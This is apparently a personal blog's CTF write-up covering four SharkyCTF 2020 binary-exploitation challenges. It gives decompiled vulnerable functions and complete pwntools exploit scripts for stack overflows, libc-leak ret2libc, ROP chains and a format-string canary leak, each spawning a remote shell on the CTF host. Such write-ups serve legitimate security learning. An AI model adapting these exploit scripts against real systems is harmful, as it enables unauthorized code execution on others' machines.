avatar

SharkyCTF 2020 Pwn WriteUp

Give away 0

checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

IDA

vuln

char *vuln()
{
char s; // [rsp+0h] [rbp-20h]

return fgets(&s, 50, stdin);
}

输入字节控制不当,导致栈溢出

win_func

int win_func()
{
return execve("/bin/sh", 0LL, 0LL);
}

后门函数

思路

溢出修改返回地址为后门函数

EXP

from pwn import *
context.log_level = "debug"
sh =remote("sharkyctf.xyz","20333")

back_door = 0x4006A7
payload = "a"*0x28+p64(back_door)
sh.sendline(payload)
sh.interactive()

Give away 1

checksec

Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

IDA

mian

int __cdecl main(int argc, const char **argv, const char **envp)
{
init_buffering(&argc);
printf("Give away: %p\n", &system);
vuln();
return 0;
}

给我们打印了system@extern的地址,可以利用题目提供的libc文件找到 libc 的偏移

vuln

char *vuln()
{
char s; // [esp+8h] [ebp-20h]

return fgets(&s, 50, stdin);
}

还是一样的栈溢出

思路

打印system@extern后,算出 libc 偏移,然后使用 libc 文件中的 /bin/sh\x00 字符串构造 rop ,最后 getshell

题目给的是libc-2.27.so,所以溢出后需要使用 ret 来抬栈

EXP

from pwn import *
context.log_level = "debug"
elf = ELF("./give_away_1")
libc = ELF("./libc-2.27.so")
sh = remote("sharkyctf.xyz","20334")
#sh = process("./give_away_1")

sh.recvuntil("0x")
system = int(sh.recv(8),16)
libc_base = system - libc.sym["system"]
binsh = libc_base + libc.search("/bin/sh\x00").next()
ret = libc_base+libc.search(asm("\nret")).next()

success("libc base -> "+hex(libc_base))
success("system -> "+hex(system))
success("/bin/sh -> "+hex(binsh))
success("ret addr -> "+hex(ret))
#gdb.attach(sh)

payload = 'a'*0x24
payload += p32(system)+p32(0)
payload += p32(binsh)

sh.sendline(payload)
sh.interactive()

Give away 2

checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

IDA

main

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
init_buffering(*(_QWORD *)&argc, argv, envp);
printf("Give away: %p\n", main);
vuln();
return 0;
}

这次给的是 elf 文件自身的地址,因为pie对程序的偏移量都是一样的,所以也可以推算出 elf 文件的偏移

vuln

char *vuln()
{
char s; // [rsp+0h] [rbp-20h]

return fgets(&s, 0x80, stdin);
}

老栈溢出了

思路

  • 泄露 elf 文件的pie偏移
  • 利用 printf@plt 来计算 libc 文件的偏移
  • 构造 rop getshell

EXP

from pwn import *
#context.log_level = "debug"
elf = ELF("./give_away_2")
libc = ELF("./libc-2.27.so")
sh = remote("sharkyctf.xyz","20335")
#sh = process("./give_away_2")

sh.recvuntil("0x")
main = int(sh.recv(12),16)
pie_offset = main-0x864
pop_rdi = pie_offset+0x0903
pop_rsi_r15 = pie_offset+0x0901
ret = pie_offset+0x676
ForMat = pie_offset+0x924

success("main -> "+hex(main))
success("pie offset -> "+hex(pie_offset))
success("pop rdi; ret -> "+hex(pop_rdi))
success("pop rsi; pop r15; ret -> "+hex(pop_rsi_r15))
#gdb.attach(sh)
pay1 = 'a'*0x28
pay1 += p64(pop_rdi)+p64(elf.got["printf"]+pie_offset)
pay1 += p64(pop_rsi_r15)+p64(ForMat)+p64(0)
pay1 += p64(elf.plt["printf"]+pie_offset)+p64(pie_offset+0x6B0)
sh.sendline(pay1)

leak = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
base = leak - libc.sym["printf"]
system = base + libc.sym["system"]
binsh = base + libc.search("/bin/sh\x00").next()

success("leak -> "+hex(leak))
success("libc base -> "+hex(base))
success("system -> "+hex(system))
success("/bin/sh -> "+hex(binsh))

#gdb.attach(sh)
pay2 = 'a'*0x28+p64(ret)
pay2 += p64(pop_rdi)+p64(binsh)
pay2 += p64(system)
sh.sendline(pay2)
sh.interactive()

'''
success("libc base -> "+hex(libc_base))
success("system -> "+hex(system))
success("/bin/sh -> "+hex(binsh))
success("ret addr -> "+hex(ret))
'''

Captain Hook

checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

IDA

read_character_infos

src = (char *)jail[(signed int)v1];
strncpy(&dest, (const char *)jail[(signed int)v1], 0x20uLL);
printf("Character name: %s\n", &dest, v1);

字符串格式化漏洞,导致我们可以泄露程序的各种地址,从而计算偏移

edit_character

char s2; // [rsp+10h] [rbp-30h]   
puts(" [ Character ]");
printf(" Name: ");
read_user_str(&s2, 0x7F);

read_user_str

unsigned __int64 __fastcall read_user_str(char *a1, int a2)
{
char *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
fgets(a1, a2, stdin);
v3 = strchr(a1, 0xA);
if ( v3 )
*v3 = 0;
return __readfsqword(0x28u) ^ v4;
}

所以edit_character,存在着栈溢出

思路

  • 利用 字符串格式化漏洞,泄露 libc 的基址,从而可以利用 one gadget
  • 栈溢出,覆盖返回地址为 one gadget

EXP

from pwn import *
elf = ELF("captain_hook")
libc=ELF("libc-2.27.so")
sh = 0

def add(idx):
sh.sendlineafter("peterpan@pwnuser:~$ ","2")
sh.sendlineafter(": ",str(idx))
sh.sendlineafter(": ","joe1sn")
sh.sendlineafter(": ","2000")
sh.sendlineafter(": ","03/04/2020")

def edit(idx,text):
sh.sendlineafter("peterpan@pwnuser:~$ ","4")
sh.sendlineafter(" [ Character index ]: ",str(idx))
sh.sendlineafter(": ",text)
sh.sendlineafter(": ","2000")
sh.sendlineafter(": ","03/04/2020")

def ShowInfo(idx):
sh.sendlineafter("peterpan@pwnuser:~$ ","3")
sh.sendlineafter(" [ Character index ]: ",str(idx))

def main(ip,prot,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("./captain_hook")
else:
sh = remote(ip,port)

add(0)
edit(0,'a'*10+"%17$p")
ShowInfo(0)
sh.recvuntil("He's been locked up on 03/04/20200x")
canary = int(sh.recv(16),16)

edit(0,'a'*10+"%19$p")
ShowInfo(0)
sh.recvuntil("He's been locked up on 03/04/20200x")
leak = int(sh.recv(12),16)
base = leak-(0x7ffff7a05b97-0x7ffff79e4000)
OneGadget = base+0x4f322

success("canary - >"+hex(canary))
success("leak -> "+hex(leak))
success("libc base -> "+hex(base))
success("onegadget -> "+hex(OneGadget))

edit(0,"a"*(0x30-8)+p64(canary)+'b'*8+p64(OneGadget))
sh.interactive()

if __name__ == '__main__':
main(1,1,0,0)

kikoo_4_ever

暂时没做,先补作业

Author: Joe1sn
Link: http://blog.joe1sn.top/2020/SharkyCTF_PWN_WriteUp/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信